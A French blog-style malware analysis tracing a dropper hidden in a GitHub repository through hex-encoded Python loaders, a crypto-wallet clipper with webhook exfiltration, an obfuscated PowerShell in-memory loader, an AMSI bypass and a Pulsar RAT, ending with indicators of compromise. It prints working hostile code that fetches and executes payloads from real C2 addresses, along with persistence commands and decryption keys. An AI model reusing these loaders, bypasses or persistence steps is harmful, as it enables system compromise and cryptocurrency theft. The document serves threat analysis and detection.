Comment une ligne cachée révèle tout un écosystème malware

· 12 minutes de lecture
Comment une ligne cachée révèle tout un écosystème malware

Analyse complète du dropper GitHub au RAT final via une chaîne d'infection multi-étapes


Tout a commencé par une session de hunting nocturne avec @omnis, à la recherche d'un malware à analyser. En parcourant GitHub à la recherche de repositories suspects, nous sommes tombés sur un projet qui, au premier coup d'œil, semblait parfaitement légitime.

Découverte d'un dépôt Github malveillant

Dans ce code rien de vraiment choquant, mais en regardant un peu plus nous pouvons voir que du code est caché très loin à droite, une manière de cacher du code assez primitif mais peut marcher si on ne fait pas attention.

On y découvre la ligne suivante:

import os;os.system("pip install requests");import requests;exec(b'\x65\x78\x65\x63\x28\x72\x65\x71\x75\x65\x73\x74\x73\x2e\x67\x65\x74\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x36\x2e\x32\x35\x31\x2e\x38\x31\x2e\x32\x32\x39\x3a\x36\x39\x36\x39\x2f\x31\x2e\x74\x78\x74\x27\x29\x2e\x74\x65\x78\x74\x29')

qui installe le module requests et exécute le code python encodé en hexa. en décodant l'hexa via cyberchef nous obtenons le code suivant:

exec(requests.get('http://196.251.81.229:6969/1.txt').text)

qui chargera en mémoire le code python:

from tempfile import NamedTemporaryFile as _ffile
from sys import executable as _eexecutable
from subprocess import Popen, CREATE_NO_WINDOW
import requests
import os
import uuid
import tempfile
import subprocess
import sys

subprocess.run([sys.executable, "-m", "pip", "install", "pyperclip", "pywin32"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

exec(b'\x0a\x5f\x74\x74\x6d\x70\x20\x3d\x20\x5f\x66\x66\x69\x6c\x65\x28\x64\x65\x6c\x65\x74\x65\x3d\x46\x61\x6c\x73\x65\x29\x0a\x5f\x74\x74\x6d\x70\x2e\x77\x72\x69\x74\x65\x28\x62\x27\x27\x27\x66\x72\x6f\x6d\x20\x75\x72\x6c\x6c\x69\x62\x2e\x72\x65\x71\x75\x65\x73\x74\x20\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x6f\x70\x65\x6e\x20\............................................................
.....')

Cette fois-ci il installe d'autres module , pyperclip pour interagir avec le presse papier et pywin32.

Un autre code en hexa est exécuté qui décodé est le suivant:

_ttmp = _ffile(delete=False)
_ttmp.write(b'''from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://196.251.81.229:6969/2.txt').read())''')
_ttmp.close()

pythonw_path = _eexecutable.replace("python.exe", "pythonw.exe")
Popen([pythonw_path, _ttmp.name])

_ttmp = _ffile(delete=False)
_ttmp.write(b'''from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://196.251.81.229:6969/r.txt').read())''')
_ttmp.close()

pythonw_path = _eexecutable.replace("python.exe", "pythonw.exe")
Popen([pythonw_path, _ttmp.name])

url_clippa = 'http://196.251.81.229:6969/clippa.txt'
temp = tempfile.gettempdir()
name_clippa = os.path.join(temp, f"{uuid.uuid4()}.py")

response = requests.get(url_clippa)
if response.status_code == 200:
    content = response.text
    reload_command = "from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://196.251.81.229:6969/clippa.txt').read())"
    if reload_command in content:
        content = content.replace(reload_command, "")
    with open(name_clippa, 'w', encoding='utf-8') as f:
        f.write(content)

    Popen([pythonw_path, name_clippa])

url_bat = "http://196.251.81.229:6969/download/hellyeah.bat"
headers = {"Authorization": "Bearer bmVyZG5lcmRuZXJkbmVyZA"}
name_bat = os.path.join(temp, f"{uuid.uuid4()}.bat")

response = requests.get(url_bat, headers=headers)
if response.status_code == 200:
    with open(name_bat, 'wb') as dosya:
        dosya.write(response.content)
    Popen([name_bat], creationflags=CREATE_NO_WINDOW, shell=True)

url_extra_bat = "http://196.251.81.229:6969/download/insomnia.bat"
extra_headers = {"Authorization": "Bearer AG4AZQByAGQAbgBlAHIAZABuAGUAcgBk"}
name_extra_bat = os.path.join(temp, f"{uuid.uuid4()}.bat")

response = requests.get(url_extra_bat, headers=extra_headers)
if response.status_code == 200:
    with open(name_extra_bat, 'wb') as dosya:
        dosya.write(response.content)
    Popen([name_extra_bat], creationflags=CREATE_NO_WINDOW, shell=True)

Sur ce script nous pouvons voire les urls suivantes qui sont utiliser pour télécharger un fichier puis exécuter:

Et les 2 fichiers .bat suivants:

Nous nous sommes pas vraiment attardés sur les 2 premiers mais plutôt sur le scripts bat insomnia.bat et le contenu de clippa.txt

Analyse du malware Clippa

Points clés identifiés :

Vue d'ensemble

Nous découvrons un module spécialisé : un clipper de crypto-monnaies. Ce type de malware intercepte et remplace les adresses de portefeuilles cryptographiques copiées dans le presse-papiers, détournant ainsi les transactions vers les portefeuilles de l'attaquant.

Mécanisme de fonctionnement

1. Configuration des portefeuilles cibles

Le malware supporte 10 crypto-monnaies différentes avec les adresses de destination de l'attaquant :

  • Bitcoin (BTC) : bc1qxpz2e8taktzesd0sd53lzmj87m5nkvu3fp82rk
  • Ethereum (ETH) : 0x1842082Ff98E91495BDE6C6F9162F17AB9A9d3Cd
  • Litecoin (LTC) : LVCC3oZgciRWWBENTvwXPPgsw2KKpmVR7x
  • TRON (TRX) : TUBGZiWupRrbAJ61Yhwh2LVHUf5x4nresE
  • Ripple (XRP) : rfcHfi5xqD64Z5PwwLnm9Lh3aafWMz6K9g
  • Zcash : t1JCPe5jCsn9aYSnSuvd7GXNKLK5PkHj3R3
  • Dogecoin (DOGE) : DEzLhvQQZm3qhwJvEpXRB7mnrNDYFJmNmT
  • Solana (SOL) : BCxiZdQiAddhZWnSt7hzYZhftbNcF9aV33ZyXCGfk6bj

Techniques de persistance

1. Auto-installation

APPDATA_PATH = os.environ["APPDATA"]
dest_path = os.path.join(APPDATA_PATH, "system_update.py")
startup_folder = os.path.join(APPDATA_PATH, r"Microsoft\Windows\Start Menu\Programs\Startup")

Le malware :

  • Se copie dans %APPDATA%\system_update.py
  • Crée un raccourci dans le dossier de démarrage
  • Utilise un nom générique (system_update) pour paraître légitime

Surveillance et remplacement

Le malware utilise des expressions régulières pour identifier chaque type de crypto-monnaie :

"btc": r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,41}$",
"eth": r"^0x[a-fA-F0-9]{40}$",
"trx": r"^T[a-zA-Z0-9]{28,33}$"

Boucle de surveillance

def monitor_clipboard():
    recent_value = ""
    while True:
        clipboard_value = pyperclip.paste()
        if clipboard_value != recent_value:
            for crypto, pattern in patterns.items():
                if re.match(pattern, clipboard_value):
                    pyperclip.copy(addresses[crypto])  # REMPLACEMENT !
  • Vérifie le presse-papiers toutes les 500ms
  • Détecte automatiquement le type de crypto-monnaie
  • Remplace instantanément par l'adresse de l'attaquant

Exfiltration via Discord Webhook

1. Canal de communication

  • Webhook URL : http://196.251.81.229:8000/repeter/2YoJZMLDK3yu6La7
  • Username : clippa
"fields": [ 
   {"name": "User", "value": OWNER_USERNAME},
   {"name": "Host", "value": get_hostname()},
   {"name": "Crypto Type", "value": f"{emoji} {crypto_type.upper()}"},
   {"name": "Original Address", "value": original_address},
   {"name": "Replaced Address", "value": replaced_address} 
]

Analyse des fichiers .bat

Les 2 urls suivantes contiennent 2 scripts .bat

Sur les 2 urls des .bat nous ne pouvons download aucun des .bat.

en regardant le code servant de loader vu précédemment, nous pouvons observer un header a ajouter a notre requête :

url_bat = "http://196.251.81.229:6969/download/hellyeah.bat"
headers = {"Authorization": "Bearer bmVyZG5lcmRuZXJkbmVyZA"}

------- Other code -------

url_extra_bat = "http://196.251.81.229:6969/download/insomnia.bat"
extra_headers = {"Authorization": "Bearer AG4AZQByAGQAbgBlAHIAZABuAGUAcgBk"}

En téléchargeant les 2 fichiers nous obtenons 2 fichiers encodées en base64 qui une fois décodée nous donnes cela:

Analyse approfondie de insomnia.bat

@%HjKEvHemqDpeOjWmsWPAazqaDiKiGBzqditiCUHWgrVhkeftrC%e%lZGBaiTJbnXWFOeYbFQNJyoTtJDiPzdqQeqAJBhlpTSuYkLhdm%c%czDDSNKMirEKUCkGfByEoAxEyQFUUjYwfDwDNnmDPWtQHFYqks%h%fjJzXCbYfchQSYthFqgGSRpUOrhHWTRoJCeONFGTBOikvZeuxz%o%ZIkDznUOLFvuclkTgpUFuZKmfdJfzOnMkxTjefcQTYUaxgMWZC% o%SPARfaXXyvDPpWsJkEsaObmdLveJPYrNfWWylssSlhGHmdJYIO%f%VhDYORCxgJWoiAeQKsZUxSmAPGuFQHLfbacjjgifVNmIWXZgDw%f%trZNqdUdjhwXHyXQmhxUHDjUYKGEDRHocuougnKYofXbIYgNKf%
----------------------- Reste du code ----------------------------------------------

En exécutant le fichier insomnia nous pouvons voir sur process hacker un powershell se connectant a l'ip 149.50.97.147:7705, en regardant sur wireshark les communications sont malheuresement chiffré via du tls v1.2.

Persistance du loader .bat

Cette commande PowerShell créé une tâche planifiée Windows pour assurer la persistance du malware :

schtasks.exe /create /tn "beZEtLsQZPhWFkjeDgMCriWZRcftCM" /sc ONLOGON /tr "C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat" /rl HIGHEST
  • /create : Crée une nouvelle tâche planifiée
  • /tn "beZEtLsQZPhWFkjeDgMCriWZRcftCM" : Nom de la tâche (identique au fichier pour confusion)
  • /sc ONLOGON : Déclencheur = À chaque connexion utilisateur
  • /tr "[chemin].bat" : Action = Exécute le fichier .bat malveillant
  • /rl HIGHEST : Privilèges = Niveau administrateur maximum

En regardant le registre d'événement windows avec le chemin suivant:
Applications and Services Logs > Microsoft > Windows > PowerShell > Operational

Nous pouvons aussi voir que lors de l'exécution du fichier bat la commande powershell suivante est utilisé

function TATDD($TxYuT) {     $swxHN = [System.Security.Cryptography.Aes]::$([char]67 + [char]114 + [char]101 + [char]97 + [char]116 + [char]101)();     $swxHN.Mode = [System.Security.Cryptography.CipherMode]::CBC;     $swxHN.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;     $swxHN.Key = [System.Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA=');     $swxHN.IV = [System.Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')('2HbuI1PmmPcxbWsqSbMcbQ==');     $oImpV = $swxHN.$('Cre' + 'ate' + 'De' + 'cr' + 'ypt' + 'or')();     $VYBow = $oImpV.$('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TxYuT, 0, $TxYuT.Length);     $oImpV.$('esopsiD'[-1..-7] -join '')();     $swxHN.$('esopsiD'[-1..-7] -join '')();     $VYBow; } function mRqBU($TxYuT) {     $QPcHf = New-Object System.IO.MemoryStream(, $TxYuT);     $IiDsE = New-Object System.IO.MemoryStream;     $Hotgw = New-Object System.IO.Compression.GZipStream($QPcHf, [IO.Compression.CompressionMode]::Decompress);     $Hotgw.$('Cop' + 'yT' + 'o')($IiDsE);        $Hotgw.$('esopsiD'[-1..-7] -join '')();     $QPcHf.$('esopsiD'[-1..-7] -join '')();     $IiDsE.$('esopsiD'[-1..-7] -join '')();     $IiDsE.ToArray(); } function JmXZi($TxYuT, $gJXko) {     $loDHH = [System.Reflection.Assembly]::$('Load')([byte[]]$TxYuT);     $opcea = $loDHH.EntryPoint;     $opcea.$('ekovnI'[-1..-6] -join '')($null, $gJXko); } $lnDgr = 'C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat'; $host.UI.RawUI.WindowTitle = $lnDgr; $DuQCe = [System.IO.File]::$('txeTllAdaeR'[-1..-11] -join '')($lnDgr).$('tilpS'[-1..-5] -join '')([Environment]::NewLine); foreach ($feUKo in $DuQCe) {     if ($feUKo.$('htiWstratS'[-1..-10] -join '')(':: '))     {         $lastfeUKo = $feUKo.$('gnirtsbuS'[-1..-9] -join '')(3);         break;     } } $jANfH = [string[]]$lastfeUKo.$('tilpS'[-1..-5] -join '')('\\'); $CluZR = mRqBU (TATDD ([Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')($jANfH[0]))); $tgzrt = mRqBU (TATDD ([Convert]::$('gnirtS46esaBmorF'[-1..-16] -join '')($jANfH[1]))); JmXZi $CluZR $null; JmXZi $tgzrt (,[string[]] (''));

Ce script étant obfusqué nous avons donc utilisé l'IA claude afin de nous donner une version plus lisible afin de gagner du temps.

Voici le code déobfusqué par claude

# Fonction de déchiffrement AES
function Decrypt-AES($encryptedData) {
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    
    # Clé AES en base64 (DIFFÉRENTE de la version précédente)
    $aes.Key = [System.Convert]::FromBase64String('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA=')
    
    # IV (Initialization Vector) en base64
    $aes.IV = [System.Convert]::FromBase64String('2HbuI1PmmPcxbWsqSbMcbQ==')
    
    $decryptor = $aes.CreateDecryptor()
    $decryptedData = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
    
    $decryptor.Dispose()
    $aes.Dispose()
    
    return $decryptedData
}

# Fonction de décompression GZIP
function Decompress-GZIP($compressedData) {
    $inputStream = New-Object System.IO.MemoryStream(, $compressedData)
    $outputStream = New-Object System.IO.MemoryStream
    $gzipStream = New-Object System.IO.Compression.GZipStream($inputStream, [IO.Compression.CompressionMode]::Decompress)
    
    $gzipStream.CopyTo($outputStream)
    
    $gzipStream.Dispose()
    $inputStream.Dispose()
    $outputStream.Dispose()
    
    return $outputStream.ToArray()
}

# Fonction de chargement et exécution d'assembly .NET
function Load-And-Execute($assemblyBytes, $arguments) {
    $assembly = [System.Reflection.Assembly]::Load([byte[]]$assemblyBytes)
    $entryPoint = $assembly.EntryPoint
    $entryPoint.Invoke($null, $arguments)
}

# Chemin du fichier BAT contenant les payloads chiffrés (VERSION ORIGINALE)
$batFilePath = 'C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat'

# Définir le titre de la fenêtre (technique d'anti-analyse)
$host.UI.RawUI.WindowTitle = $batFilePath

# Lire le contenu du fichier BAT
$fileContent = [System.IO.File]::ReadAllText($batFilePath).Split([Environment]::NewLine)

# Chercher la ligne contenant les données chiffrées (commence par ":: ")
foreach ($line in $fileContent) {
    if ($line.StartsWith(':: ')) {
        $dataLine = $line.Substring(3)
        break
    }
}

# Séparer les deux payloads (séparés par "\\")
$payloads = [string[]]$dataLine.Split('\\')

# Traitement du premier payload
$payload1_base64 = $payloads[0]
$payload1_encrypted = [Convert]::FromBase64String($payload1_base64)
$payload1_decrypted = Decrypt-AES $payload1_encrypted
$payload1_decompressed = Decompress-GZIP $payload1_decrypted

# Traitement du second payload
$payload2_base64 = $payloads[1]
$payload2_encrypted = [Convert]::FromBase64String($payload2_base64)
$payload2_decrypted = Decrypt-AES $payload2_encrypted
$payload2_decompressed = Decompress-GZIP $payload2_decrypted

# Exécution des payloads déchiffrés en mémoire
Load-And-Execute $payload1_decompressed $null
Load-And-Execute $payload2_decompressed (,[string[]] (''))

Ce script PowerShell est un loader/dropper qui déchiffre et exécute des payloads malveillants directement en mémoire, sans jamais les écrire sur le disque.

Lecture du fichier camouflé

Le script ouvre le fichier .bat qui contient des données malveillantes cachées dans une ligne de commentaire commençant par :: .

Il cherche ensuite spécifiquement cette ligne de commentaire et extrait tout ce qui suit les deux points. Ces données sont encodées en base64 et contiennent en fait deux programmes chiffrés séparés par \\.

Processus de déchiffrement en 3 étapes

Pour chaque programme caché, le script :

  1. Décode depuis le format base64.
  2. Déchiffre avec une clé secrète AES CBC via la clé et le vecteur d'initialisation (IV) suivant:
    $aes.Key = [System.Convert]::FromBase64String('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA=')
    
    # IV (Initialization Vector) en base64
    $aes.IV = [System.Convert]::FromBase64String('2HbuI1PmmPcxbWsqSbMcbQ==')
  1. Décompresse les données GZIP
Exécution en mémoire

Une fois les deux programmes déchiffrés, le script les lance directement en mémoire sans jamais créer de fichiers sur le disque.

Analyse des 2 exécutables

Nous devons maintenant dump les 2 PE afin de pouvoir les analyser j'ai donc utiliser le script powershell suivant:


function Decrypt-AES($data) {
   $aes = [System.Security.Cryptography.Aes]::Create()
   $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
   $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
   $aes.Key = [System.Convert]::FromBase64String('vpZ2W2AOa//fpjns4Di+kgzCqwxXRkF0CDjNZn+wIUA=')
   $aes.IV = [System.Convert]::FromBase64String('2HbuI1PmmPcxbWsqSbMcbQ==')
   $result = $aes.CreateDecryptor().TransformFinalBlock($data, 0, $data.Length)
   $aes.Dispose()
   return $result

}

function Decompress-GZIP($data) {
   $input = New-Object System.IO.MemoryStream(, $data)
   $output = New-Object System.IO.MemoryStream
   $gzip = New-Object System.IO.Compression.GZipStream($input, [IO.Compression.CompressionMode]::Decompress)
   $gzip.CopyTo($output)
   $result = $output.ToArray()
   $gzip.Dispose(); $input.Dispose(); $output.Dispose()
   return $result
}
# Extraction

$content = [System.IO.File]::ReadAllText('C:\Users\WDAGUtilityAccount\AppData\Roaming\beZEtLsQZPhWFkjeDgMCriWZRcftCM\beZEtLsQZPhWFkjeDgMCriWZRcftCM.bat')

$dataLine = ($content -split "`n" | Where-Object { $_.StartsWith(':: ') })[0].Substring(3)

$payloads = $dataLine.Split('\\')

for ($i = 0; $i -lt $payloads.Length; $i++) {
   $encrypted = [Convert]::FromBase64String($payloads[$i])
   $decrypted = Decrypt-AES $encrypted
   $final = Decompress-GZIP $decrypted
   [System.IO.File]::WriteAllBytes("payload_$($i+1).exe", $final)
   Write-Host "Payload $($i+1): $($final.Length) bytes"

}

Une fois exécuté nous avons les 2 PE

PS C:\Users\WDAGUtilityAccount\Downloads> . .\dump.ps1
Method invocation failed because [System.Char] does not contain a method named 'Substring'.
At C:\Users\WDAGUtilityAccount\Downloads\dump.ps1:25 char:1
+ $dataLine = ($content -split "`n" | Where-Object { $_.StartsWith('::  ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : MethodNotFound

Payload 1: 5632 bytes
Payload 2: 562688 bytes

C'est le moment d'analyser ces 2 exécutables par chance il s'agit de 2 binaires compilés avec .NET en C# il est donc assez simple de récupérer le code source de ces binaires via l'outil dnspy.

Analyse du premier payload

Ce script est un bypass AMSI via de l'inline patching classique qui désactive les protections antivirus de Windows en temps réel pour permettre l'exécution de code malveillant sans détection.


Strings obfusquées décodées :

gklpoui = "amsi.dll"           // Bibliothèque AMSI de Windows
msabnc = "AmsiScanBuffer"      // Fonction de scan AMSI

AMSI est le système de défense de Windows qui scanne le code PowerShell, scripts et payloads en temps réel avant exécution.

Mécanisme du bypass

1. Chargement de la DLL AMSI

IntPtr hModule = Program.LoadLibrary("amsi.dll");
IntPtr procAddress = Program.GetProcAddress(hModule, "AmsiScanBuffer");
  • Charge la DLL AMSI en mémoire
  • Récupère l'adresse de la fonction AmsiScanBuffer

2. Préparation du shellcode

byte[] rwqjfi = array;          // Shellcode chiffré
byte qxmvlb = 196;              // Clé XOR (0xC4)
byte[] array2 = sdjfhksfd(rwqjfi, qxmvlb);  // Déchiffrement XOR

3. Fonction de déchiffrement XOR

private static byte[] sdjfhksfd(byte[] rwqjfi, byte qxmvlb) {
    for (int i = 0; i < rwqjfi.Length; i++) {
        array[i] = (rwqjfi[i] ^ qxmvlb);  // XOR avec clé 196
    }
}

4. Patch de la fonction AMSI

VirtualProtect(procAddress, ..., PAGE_EXECUTE_READWRITE, ...);  // Rend la mémoire modifiable
Marshal.Copy(array2, 0, procAddress, array2.Length);           // Écrase AmsiScanBuffer
VirtualProtect(procAddress, ..., flNewProtect, ...);           // Restaure permissions

La fonction AmsiScanBuffer est remplacée par un shellcode qui retourne toujours "AMSI_RESULT_CLEAN"

Analyse du deuxieme payload

Ce code C# est le dropper principal qui installe et configure la persistance du malware sur le système cible. Il fait 562KB et contient un payload chiffré intégré.

private static string CRYPT_ID = "beZEtLsQZPhWFkjeDgMCriWZRcftCM";
  • Même ID que celui trouvé dans les Event Logs
  • Utilisé comme nom de tâche, dossier, fichier et clé de registre
  • Signature unique de cette campagne malware
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), CRYPT_ID);
string text2 = Path.Combine(text, CRYPT_ID + ".bat");

Directory.CreateDirectory(text);
FileAttributes attr = FileAttributes.Hidden | FileAttributes.Directory;
SetFileAttributesW(text, attr);  // Dossier caché
File.WriteAllText(text2, File.ReadAllText(Console.Title));  // Copie le fichier .bat

Comportement :

  • Crée le dossier %AppData%\beZEtLsQZPhWFkjeDgMCriWZRcftCM\
  • Le rend invisible avec attribut Hidden
  • Copie le fichier .bat original vers ce dossier

Mécanismes de persistance

Double mécanisme selon les privilèges :

Si Administrateur → Tâche planifiée
if (IsAdmin()) {
    Process.Start(new ProcessStartInfo {
        FileName = "schtasks.exe",
        Arguments = "/create /tn \"beZEtLsQZPhWFkjeDgMCriWZRcftCM\" /sc ONLOGON /tr \"[path].bat\" /rl HIGHEST"
    });
}
Si utilisateur normal → Registry Run
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true)) {
    registryKey.SetValue(CRYPT_ID, text2);
}

Résultat : Le malware redémarre automatiquement à chaque connexion utilisateur.

Payload chiffré embarqué

Ressource intégrée :

byte[] rawAssembly = Uncompress(AesDecrypt(GetEmbeddedResource("payload.exe"), key, iv));

Nouvelles clés de déchiffrement :

AES Key: "TgQt6059yGF4kMZhMHhq9IeJ4FwiVbWp6wSF8iWOQk0="
AES IV:  "beZEtLsQZPhWFkjeDgMCriWZRcftCM"

Execution du binaire :

MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint; entryPoint.Invoke(null, new object[] { array }); // Avec arguments // OU entryPoint.Invoke(null, null); // Sans arguments

Technique fileless : Le payload final est exécuté directement depuis la mémoire.

Pipeline de déchiffrement :

Ressource "payload.exe" → AES Decrypt → GZIP Uncompress → Assembly .NET → Execution

Via dnspy nous pouvons donc recuper ce nouveaux payload embarqué dans le binaire et le déchiffrer/décompresser via cyberchef

Enfin nous avons le payload final qui est aussi écris en C# donc décompilable mais cette fois-ci obfusquée et disposant de plusieurs fonction comme du process hollowing, keylogger, Unhooking de ntdll ...

Vous pouvez observé cela sur virus total:

https://www.virustotal.com/gui/file/849345a6c874c69f6a647663b1cd9eb97c97cd5ab205c0e1dd59c8307dcc64d1/behavior

En analysant les morceaux de codes nous déterminer que le binaire était un agent du RAT nommée Pulsar

Version: 1.6.6
C2s: 149.50.97.147:7855;
Reconnect Delay: 3000
Sub Directory: Install As: .exe
Mutex: cdaaa93c-4bde-4e58-b026-75e5b4fa32a4

IoCs (Indicators of Compromise)

Serveurs C2 principaux

149.50.97.147:7705     - Serveur C2 Pulsar RAT (TLS)
149.50.97.147:7855     - Interface d'administration 
196.251.81.229:6969    - Serveur de distribution de payloads
196.251.81.229:8000    - Webhook Discord (exfiltration)

URLs malveillantes

http://196.251.81.229:6969/1.txt
http://196.251.81.229:6969/2.txt  
http://196.251.81.229:6969/r.txt
http://196.251.81.229:6969/clippa.txt
http://196.251.81.229:6969/download/hellyeah.bat
http://196.251.81.229:6969/download/insomnia.bat
http://196.251.81.229:8000/repeter/2YoJZMLDK3yu6La7

Persistance

Tâches planifiées

Nom: beZEtLsQZPhWFkjeDgMCriWZRcftCM
Déclencheur: ONLOGON
Privilèges: HIGHEST

Clés de registre

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\beZEtLsQZPhWFkjeDgMCriWZRcftCM
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\beZEtLsQZPhWFkjeDgMCriWZRcftCM

Mutex

cdaaa93c-4bde-4e58-b026-75e5b4fa32a4

Configuration Pulsar RAT

Version: 1.6.6
C2: 149.50.97.147:7855
Reconnect Delay: 3000ms
Mutex: cdaaa93c-4bde-4e58-b026-75e5b4fa32a4
Group: crypt

Règles de détection réseau

Block: 149.50.97.147 (ports 7855, 7705)
Block: 196.251.81.229 (ports 6969, 8000)
Monitor: Connexions TLS vers certificat CN="lomv scxjg"